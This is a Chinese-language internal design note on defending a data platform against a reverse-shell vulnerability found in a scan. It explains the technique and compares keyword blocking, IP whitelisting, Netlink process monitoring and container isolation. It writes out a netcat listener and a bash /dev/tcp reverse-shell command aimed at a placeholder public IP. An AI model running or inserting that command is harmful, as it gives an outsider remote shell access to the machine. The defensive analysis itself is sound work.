一. 背景

  目前公司的产品的《命令行复测结果简报》中检测出反弹shell漏洞, 需要对该问题做出相关相关应对方案。

二. 反弹shell介绍

  反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制
端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的⻆色反转。
  例子:

  • 攻击者在其机器上监听端口
    1
    2
    // 通过netcat工具监听 6767端口号(tcp/udp)并且输出交互信息
    nc -lvp 6767
  • 在被攻击端执行下面命令
    1
    2
    //产生一个交互的shell 并且建立socket连接读取这个文件
    bash -i >& /dev/tcp/公网ip/ 6767 0 >& 1
      反弹shell 时序图如下:
    image

三. 漏洞分析

  该漏洞的核心思想是在被攻击节点建立socket通道连接外网打通攻击者服务器,从而实现渗透。用户可以通过Datasimba 执行
shell 、python、jar 实现shell反弹,分析该问题目前能想到的解决思路如下:

  • 限定被攻击节点对外访问请求;
  • 监听 socket 通道的进程 发现即kill或报警
  • 通过用户空间隔离技术(chroot)
  • 通过容器虚拟化技术实现环境资源隔离
    按照以上思路提供的解决方案

四. 反弹shell防御方案

方案一: 产品功能对任务代码的关键字作限制
  • 解释:代码中如果包含类似shell反弹的任务不能进行保存和运行
  • 优点:从源头上避免反弹shell代码进入到产品服务内部
  • 缺点:用户可以通过在代码中添加包含反弹shell的文件,或者通过下载外部文件的
    方式绕过校验限制
方案二: 对被攻击节点 增加 ip白名单限制外网访问
  • 解释:
    i. 目前Dataworkes(阿里云) 对于ip白名单 shell反弹的解决思路
    ii. 目前有的客户就是使用禁止外网访问的方式避免掉的
  • 优点:配置简单,从源头上解决问题,可以有效控制被攻击节点的ip
  • 缺点:灵活性差,比如simba接入新的数据源,则数据源的ip需要添加到白名单中
方案三: 自动防御shell反弹
  • 解释:通过linux IPC机制Netlink,用于在内核与用户进程之间传递消息,捕获进程事件信息,通过监控到的进程信息进行处理
  • 优点:自动监控系统进程,发现非法进程直接kill,一般情况下绕过较难
  • 缺点:i. 运维成本增加
    ii. 通过上传可执行文件通过其他思路实现反弹,比如通过java或者python写一个SocketServer 程序执行.
方案四: 通过容器虚拟化技术建立隔离操作系统
  • 解释:
    i.首先在产品的工作节点上通过docker技术创建出虚拟化的容器作为隔离层
    ii.在功能中对于python、shell、jar任务类型在simba的工作节点上真正执行时我们会在隔离层
    执行相关逻辑(只依赖其操作系统环境)。如果出现黑客攻击者通过shell反弹技术入侵其实操作的是虚拟出来的操作系统,不会对容器外
    部的机器造成任何威胁。
  • 优点: 通过容器虚拟化技术虚拟出新的操作系统实现完全的隔离。
  • 缺点:对simba现有worker的工作节点进行架构优化改造,短时间内无法完成。

五. 目前的思路

  • 思路一:通过方案二来从源头上解决问题(可能会增加额外的配置成本)
  • 思路二: 可以通过方案一、方案三组合使用,通过方案一和方案三的优缺点进行互补,方案一从产品层面限制反弹
    shell进入到产品平台,方案三可防止通过引用上传文件绕过的限制。可以避免大多数场景。理论上进入到产品平台的用户
    大多数都是内部和已知用户都可以追溯和溯源(排除账号被盗问题)
  • 思路三: 为了彻底解决非法用户通过编写其他技术方式实现所谓的’反弹’,后续会排期对产品的工作节点增加方案四-容器
    虚拟化的方式来避免’反弹’问题。